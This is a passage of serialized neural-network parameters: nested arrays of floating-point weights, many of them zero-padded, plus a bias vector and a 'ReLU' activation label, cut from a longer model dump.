0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.4678, 0.1707, 0.6357, 0.08075, -0.1947, -0.169, -0.874, 0.5254, 0.362, -1.852, 0.2426, 0.4407, -0.7085, 0.22, -0.00514, -0.5854, -1.252, 0.1256, -0.10724, -0.267, 0.08014, 0.003752, 0.223, 1.162, 0.3337, -0.1493, -0.896, 0.04074, -1.0, 0.01399, 0.0872, -0.74, 0.1343, 0.05408, -2.426, 0.4592, -0.0362, 0.0316, 0.0953, 0.05933, -0.726, -0.7393, 0.7036, 0.758, 0.6113, -0.6934, -0.005554, -0.1268, 0.03232, 0.1125], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.7915, 0.2236, 0.07495, 0.09, -1.226, -0.3298, -0.506, -0.03072, -0.010086, 0.2179, -0.1102, -0.02855, -0.463, 0.0878, -0.04395, 0.4514, 0.6646, 0.2766, 0.12305, 0.0434, 0.1129, 0.02278, 0.481, 0.4304, 0.4558, -0.1412, 0.388, -0.02997, 0.05878, 0.0501, -0.5586, 0.2313, -0.03693, -0.0679, 0.337, 0.1492, -0.0139, -0.01432, -0.6187, 0.10803, -0.03238, -0.2444, 0.57, -0.0481, -0.2727, -0.1437, 0.1731, -0.9595, -0.04065, 0.0961], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1576, 0.09875, -0.89, -0.02444, -0.434, 0.833, -0.355, -0.354, 0.01516, 0.458, 0.1611, 0.3665, -0.10645, -0.5566, -0.01086, 0.2134, 0.3354, -0.04355, -0.04327, 0.1313, 0.032, -0.1904, 0.31, -0.2462, -0.465, 0.6416, -0.3333, -0.0018015, -0.2666, -0.0143, -0.1703, -0.2408, -1.09, -0.1731, -0.1519, -0.2925, 0.02092, -0.003386, -0.2666, 0.05603, -0.06256, 0.4414, -0.4695, -0.4504, 0.524, 0.0776, 0.296, 0.4465, -0.0375, -0.001117]]
[0.151006, 0.788855, -1.19819, -0.588841, -0.397129, -0.280634, 1.68515, -0.601904, -1.64178, -2.11533, -0.0430942, -0.758155, -0.0785547, 1.35002, -1.82687, -1.04351, -0.551186, -2.16354, -0.843103, -0.214915, -0.811593, 0.556531, 0.552811, 0.106678, 0.484749, 0.345425, 1.12648, -1.04689, -1.76701, -0.141982, 0.818752, -1.42773, -0.883322, -0.588858, 1.00331, 0.323604, -2.16693, 0.347708, -0.613441, -3.37967, -0.318205, -0.0658823, 0.234264, -1.05592, 0.774119, 0.447804, -0.554389, -0.836421, 1.22637, 0.249711, 0.151, 0.789, -1.198, -0.589, -0.3972, -0.2805, 1.686, -0.602, -1.642, -2.115, -0.0431, -0.7583, -0.07855, 1.35, -1.827, -1.044, -0.5513, -2.164, -0.8433, -0.215, -0.8115, 0.5566, 0.5527, 0.1067, 0.4849, 0.3455, 1.127, -1.047, -1.767, -0.142, 0.819, -1.428, -0.8833, -0.589, 1.003, 0.3235, -2.166, 0.3477, -0.6133, -3.379, -0.318, -0.06586, 0.2343, -1.056, 0.774, 0.4478, -0.554, -0.8364, 1.227, 0.2498]
ReLU
[[-0.00885036, -0.655271, -0.78403, -0.863779, -1.71418, -0.521209, -0.867629, 0.451593, 0.233877, -0.0651514, -6.15902, -1.15936, -2.62286, 0.407194, -0.131324, 0.441359, -0.496709, 0.190495, -0.0919486, 0.627406, -0.0492376, 1.04668, 1.5981, 0.433048, -1.0374, -2.52831, 0.171983, -0.396575, -0.991084, -0.0119858, -1.0624, -0.869703, 0.921841, 0.578939, -0.607641, 0.0725717, 0.269044, 0.632632, -0.0162999, -0.0892118, 0.524624, 0.861968, -0.527883, 0.314698, 0.589849, -2.70286, -0.992298, 0.286316, -0.479009, 0.389783, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.449579, -0.166098, 1.06071, 1.02284, 0.599804, 0.170612, 0.0600806, 0.801502, 0.112534, -0.00207211, 1.68704, 2.89512, 0.490928, 0.531121, 0.0398185, -0.160699, -0.0399949, 0.361897, 1.09226, 0.510161, 0.106825, 0.0291152, -0.0576882, 1.11329, 0.29618, -0.415337, 1.67369, -0.351033, -0.0198808, 0.0211025, -0.400284, 0.55067, 0.654593, 0.827481, 1.14253, 0.359533, -0.0694629, 0.667785, 1.09012, -0.373294, -0.109878, 0.602602, -0.272153, 0.184859, -0.710153, -0.457158, 0.469449, -0.0853876, -0.492372, 0.455703, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0572004, 0.354768, 0.189553, 0.282077, 0.450172, -0.401791, -0.15634, -0.0221989, -0.185054, -0.292259, -0.418929, -0.917779, 0.917764, 0.24285, 0.431133, -0.132975, -0.294788, 0.133761, -0.409427, -0.111095, -1.63953e-05, -0.0773865, 0.149343, -0.230288, -0.0969413, 0.226507, -0.310412, -0.00653394, 0.575702, -0.0776911, 0.0163058, -0.138074, -0.299092, 0.545105, -0.21699, 0.149978, -0.0262197, -0.147402, 0.247784, 0.204672, -0.0521291, -0.537555, -0.00610959, 0.184419, 0.035446, -0.397235, 0.20455, -0.133398, 0.378088, -0.189383, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.242932, 0.44425, 1.7096, -1.06445, -0.578732, 0.744829, -0.560461, 0.517961, 0.274476, -0.785771, -2.0808, -3.13244, -0.888028, 0.0308881, 0.985304, 0.00123573, -0.345386, -0.62411, -0.959108, -0.570222, 0.192357, 0.0978715, 0.328081, -0.626781, -0.398454, -0.0353907, 0.468662, 0.562869, 2.06168, 0.12699, -0.25884, 0.501459, -0.451017, -0.911649, -0.587619, -0.0162593, 0.145954, 0.541338, -0.705834, 0.592413, -2.13607, 0.280223, 0.0580608, -1.1471, 0.0627421, 0.909449, -0.24466, 0.33828, -0.397742, 0.530112, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.152299, -0.126451, 0.0290091, -0.0933167, -0.100757, 0.0407013, 0.116943, 0.170822, 0.0554723, -0.621499, -0.154593, 0.281744, -0.398058, 0.329183, -0.353944, -0.146393, -0.503865, 0.284915, -0.0721668, 0.0236467, -0.0463308, 0.0653294, -0.231779, -0.001187, -0.0493326, -0.0387369, -0.122388, -0.0947344, -0.249829, -0.021482, -0.376116, -1.03577, 0.272514, 0.348676, 0.0452551, 0.148432, -0.241719, 0.226983, 0.592552, -0.0471492, -0.228695, 0.262865, -0.111511, -0.072342, -0.240092, -0.0711774, -0.582169, -0.0631585, 0.351773, 0.0593736, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.101216, 0.715945, -0.29953, -0.0439352, -1.25313, -0.0900024, 0.245827, -0.215544, -0.508001, 0.0683643, -0.538039, -0.0481277, -0.0819241, 0.720293, 0.015846, 0.211361, -0.525369, -0.218635, -0.422061, -0.294767, 0.12456, -0.00589328, -1.078, 0.00834969, -0.347353, 0.592202, -0.481847, -0.0225597, -0.0735935, 0.13945, -0.723757, 0.0430727, 0.401445, -0.0601361, 0.725155, -0.347559, 0.183351, 0.824877, -0.738997, -0.217637, -0.351869, 0.0931101, -0.261161, -0.531018, 0.116281, 0.667087, 1.4373, -0.729097, -0.123373, 0.36269, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.167232, -0.159346, 0.136253, 0.907593, 0.427041, -0.0188631, 0.179653, -0.408143, -0.503645, 0.320077, -0.57261, -0.34783, 0.17201, -0.0863523, -0.977186, 0.469851, 1.10258, 0.0959724, -0.102726, -0.603599, -0.180248, 0.453335, 0.554112, 0.00340011, -0.481039, 0.504328, 0.364838, -0.132311, 0.000980743, 0.150393, 0.808637, 1.07139, -0.430072, -0.440866, 0.598481, 0.592953, -0.0813635, -0.314471, -0.354553, 0.372223, 0.521442, 0.13782, 0.337319, 0.188214, -0.312793, -0.591101, 0.694062, 1.15276, 0.115534, -0.323516, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0143128, -0.046952, 0.486708, -0.654808, 0.398768, -0.604785, 0.109946, -0.0992248, -0.437745, 0.574032, 0.239265, -0.509535, -1.58522, -0.0751871, 0.208001, -0.279335, -0.650459, -0.126283, 0.0463165, 0.0484385, 0.036891, -0.152774, -0.0695345, -0.0470343, -0.118177, 0.0192629, 0.446432, 0.0938759, 0.139579, 0.142282, 0.259027, -0.676523, 0.438231, 0.0368461, -0.215647, 0.120741, -0.216032, -0.209848, -1.776, 0.419243, -0.0298804, -0.91121, 0.247255, -0.0858714, -0.901803, -0.107949, -0.0299664, -1.10578, 0.250771, 0.171811, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.206754, -1.20023, 0.525703, 0.573468, 0.646989, -0.371234, -0.0611053, -0.00917956, 0.252802, 0.622573, 1.72266, 0.245191, -0.00951078, 0.222257, 0.0674578, 0.69901, 0.104088, -0.0364163, 1.70824, 0.192392, 0.318455, 0.176828, 0.00117041, 0.636813, 0.52718, -0.200866, 0.0342035, 0.159037, -0.204194, 0.11035, -0.228738, -0.691557, 0.558747, 1.52624, 0.336233, -0.208067, -0.574583, 0.729835, 0.961814, -0.222259, 0.769895, 0.738402, -0.695195, 0.392418, -1.39594, -0.788902, 0.472713, 0.650399, -0.385815, 0.633133, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.00617636, 0.23805, 0.154596, -0.121978, 1.98059, -0.717016, 1.40868, -1.67264, 0.0679258, -1.0393, -0.515022, -1.2593, 0.41636, 0.343906, -0.409285, -0.404276, 1.92838, 0.919375, 0.572433, -1.03507, -0.78211, -0.123151, -0.620394, -1.24583, 1.23808, -0.648737, -1.03075, 0.522336, 0.803678, 0.17538, 0.0692463, 0.379158, -0.446976, 0.720711, 0.518944, 0.253779, -0.415436, 0.217927, -0.0120418, 0.738019, -0.839801, -0.506623, 0.129986, -0.964655, -0.179073, -1.00108, -0.553573, 0.0788833, 1.87609, -1.48724, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.497124, -0.221326, 0.214382, 0.687369, 0.495257, -0.0282346, -0.629153, -0.134985, 0.25084, -0.291205, 0.745119, 0.0978682, 0.276986, -0.16088, 0.680356, 0.670081, 1.10049, 0.0832182, 0.649272, 0.499255, 0.361583, 0.0633259, 0.392041, 0.249579, -0.103213, -0.277966, -0.679147, -0.0921053, 0.0438698, -0.0204879, 0.0998413, 1.0461, -0.120672, -0.314813, 0.561622, 0.391116, 0.0172498, -0.269581, 0.26153, -0.0917871, 0.316899, -0.648544, 0.000234734, -0.239071, 0.0300711, -1.55754, 0.483026, 0.214253, -0.23099, -0.0556188, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0373265, -0.0318878, 0.0384465, 0.0181764, -0.0490022, -0.0432377, -0.0439092, -0.00216212, 0.0266941, -0.0275338, 0.00650532, -0.0524852, 0.0276225, 0.0261431, 0.0281477, -0.0353184, -0.0078112, -0.0173019, 0.0169591, -0.0404215, -0.0353704, -0.00128859, -0.0528517, -0.0194701, -0.0110753, 0.0156869, 0.0185368, 0.0316182, -0.00154569, -0.0100476, -0.005566, -0.0495596, 0.0199292, 0.026768, -0.0153753, 0.0259319, -0.0408378, -0.0429492, -0.0146308, 0.00476657, -0.0212445, -0.0376099, -0.0504051, -0.0448872, 0.0489218, 0.0485639, -0.0380935, 0.00899076, -0.0286308, -0.00212102, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.116701, 0.374754, -0.398987, 0.105574, -0.675746, 1.16652, -0.112126, 0.34262, -0.156619, -0.234002, -0.109474, -0.406911, -0.281312, 0.670592, -0.409143, 0.988039, -0.0975111, 0.18263, 1.04859, 0.484213, 0.0652155, -0.348922, 0.392277, -0.541581, -0.239622, 0.389691, -0.102659, 0.22197, 0.238602, 0.0802023, -0.14266, 0.479698, 0.237224, -0.492381, 0.0614101, 0.423672, 0.262803, -0.130747, -0.153328, -0.133039, 0.754256, 0.0596181, -0.0926928, -0.0393795, -0.0486944, 0.963418, -0.486194, -0.138562, 0.100568, 0.15022, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.685374, -1.06072, -1.25234, 1.34291, -6.54395e-05, 0.276379, 1.20789, -2.20204, -0.62282, -0.647767, -0.779945, -2.96712, -1.45196, 0.201962, 0.347748, -2.06836, -0.285655, 0.536845, -0.712746, -1.76964, -0.173234, 0.784415, -0.553932, 0.00179251, 0.844514, -0.774125, -0.702991, 0.43657, 2.56135, -0.0304348, 0.532043, -0.835423, 0.505279, 0.288439, 1.09767, -0.184012, -0.528957, 0.00698705, 0.849794, -0.792031, 0.6934, 2.03982, -0.95814, 0.565181, -0.894969, -0.460855, -0.300157, -0.0692339, -0.10872, -1.85957, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.146944, -0.0410841, 0.112427, 0.324888, -0.615007, -0.0445919, 0.155556, 0.232564, 0.0569676, -0.501386, -1.09354, 0.239832, -2.63591, 0.424946, -0.474738, 0.0329291, -0.631995, 0.29901, -1.9594, 0.211611, 0.277208, -0.340939, -0.2635, -0.295519, -0.0096275, 0.350042, 0.629705, 0.234898, -0.0576626, -0.0126899, -0.348365, -0.962191, -0.205964, 0.0871171, 0.119243, 0.359108, -0.138088, 0.145722, 0.613137, -0.106193, 0.178699, -0.246302, 0.0632127, 0.0423576, 0.518224, 0.633542, -0.26257, 0.313054, 0.216495, -0.0789271, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.173438, -0.276693, 0.575472, -0.52591, 1.02357, -0.722842, -0.607912, 0.807498, 0.0211574, 0.80069, 0.171899, -0.860611, 1.50019, 0.192653, -0.13942, -6.99354, 0.948941, 0.128533, 0.984472, -0.214308, -0.200359, -0.234204, -0.401565, 0.0977909, -0.0426048, -0.191577, -0.257381, -1.19457, -0.79308, -0.0477117, 0.26661, -1.02934, 1.26264, 0.342102, -0.288336, 0.31362, 0.0616571, 0.20758, -1.77362, -0.311451, 0.250414, 0.344322, 0.186162, 0.433618, 1.47926, -0.263092, 0.0146129, 1.2099, -0.875911, 0.481466, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.418606, 0.0696278, 0.559907, -0.275197, 0.861008, 0.164183, 0.404413, -0.113251, 0.69923, -0.531233, 0.335413, -0.0494426, 0.866067, -0.300677, 0.317067, 0.784075, 0.435559, -0.187236, 1.20337, -0.445074, 0.258413, 0.65507, -0.612696, -0.432319, -0.750985, -0.40511, -0.683842, -0.0616367, 0.628703, 0.0582172, 0.649178, 0.360432, 0.160693, -0.107204, 0.0304986, -0.171403, 0.0677015, 0.621957, 0.283576, 0.788118, -1.81657, 0.380275, 0.416154, -0.33309, 0.0395793, -2.80578, -0.508927, -0.632951, -0.493942, -0.29453, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0754255, 0.447992, -0.218006, -0.187172, -0.238309, -0.137155, 0.351245, -0.166129, -0.0925233, 0.166438, 0.206884, 0.23594, 0.0238332, 0.173321, 0.0195239, 0.239913, -0.0690741, -0.020057, 0.0469791, 0.0490268, -4.35611e-05, -0.187112, -0.102212, -0.0684822, -0.320571, -0.247274, 0.0762905, 0.057144, 0.0467481, 0.116256, 0.066254, -0.724356, -0.132728, 0.221885, -0.0526388, -0.264299, 0.499504, 0.0107571, -0.607069, 0.0640504, 0.149399, 0.0263067, -0.0678292, -0.182962, -0.0993887, 0.312432, -0.325518, -0.346836, 0.226298, -0.364094, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0369347, -0.934937, 1.99445, 1.47272, 0.103248, 0.353234, -1.09285, 0.364207, -0.104595, 0.87736, 0.622889, -0.821305, 2.20691, -0.483215, 0.291667, -0.356304, 0.613801, 0.471425, -2.49685, -1.17234, 0.435983, 0.486494, -0.617793, 0.287207, -0.0409959, 0.126868, 0.29723, -0.342646, 1.24129, -0.00944951, 1.43624, -1.06084, 0.40524, -2.9541, -0.181954, -0.888084, 0.472183, 0.1503, -0.908983, 0.231942, 0.0394797, 1.28174, -0.00917985, -0.239404, -1.00283, -0.351375, 1.69521, 0.634352, 1.16755, -0.622498, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0275195, 0.323927, 0.00650823, -0.0727187, -0.169068, -0.287902, -0.286355, -0.0245422, 0.0347174, 0.0228036, -0.0899434, 0.123952, -0.202369, 0.109413, -0.213786, 0.418726, -0.553347, -0.0203813, -0.135247, 0.00910628, -0.071519, -0.0536266, -0.0254518, -0.0877213, -0.130534, 0.0528148, 0.238264, -0.0723251, -0.039605, 0.124185, 0.829842, 0.436405, 0.03967, 0.274122, -0.00721426, 0.0858098, -0.153411, -0.0325594, -0.136878, 0.0123889, -0.308878, -0.0318018, 0.0501103, -0.0859756, 0.0885484, -0.192208, -0.362469, -0.194704, 0.466617, -0.0916077, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.584372, -0.207962, -0.076748, -0.164615, 0.179503, 0.0990954, -0.637613, 0.19613, -0.430071, 0.475497, -0.417085, -0.0569495, -1.782, -0.346624, 0.219964, -0.00560694, -0.372238, -0.258421, 0.196164, 0.156359, -0.158277, 0.253495, -0.287066, -0.408173, 0.0449408, -0.0424058, -0.486804, -0.153239, -0.111179, 0.0382886, 0.227856, -0.584973, -0.371107, 0.0487482, -0.464903, -0.0361126, 0.0902624, -0.195238, -0.156203, 0.109486, -0.0390465, -0.384309, -0.271125, 0.0830121, -0.549204, -1.06998, 0.118055, 0.201534, 0.397503, 0.915592, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.492824, -0.492718, 1.09429, 0.667676, -0.71732, 0.240436, -0.983497, 0.342788, 0.628448, -0.0574483, -0.933056, 0.136376, -0.952906, 0.1624, 0.478437, -1.0636, 0.249691, 1.33115, 0.472943, -0.258808, -0.0858876, -0.0497106, 0.259539, -2.036, -0.284203, -0.227915, 1.30383, -0.238758, 0.88641, -0.0289063, 0.658214, 1.28525, 0.253055, -0.97098, -0.492332, -0.243628, -3.92151, -0.910224, -0.666698, -0.767749, -0.210461, 0.0246815, -0.631936, -0.293814, 1.12249, -0.0109619, -0.997016, 1.06813, 0.552908, -1.42293, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0996721, -0.128378, -0.370303, -0.307282, 0.888893, -0.0735357, 0.696091, -0.64563, -0.0231923, -0.234954, 0.433166, -0.493414, 0.453855, 0.140053, 0.914614, -1.06616, 0.755487, 0.563875, -0.703288, 0.154235, 0.106775, -0.158365, -0.756181, 0.0709473, -0.164555, 0.719118, -0.973925, 0.0965277, -0.741776, 0.1567, -0.645889, -0.34096, -0.505024, -1.08632, 0.444506, 0.865619, 0.275324, -0.338935, -2.79099, 0.654004, -0.466125, -1.28629, -0.326768, -1.34225, 0.207198, -0.369878, 1.05348, 0.115944, -0.212535, 0.430554, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 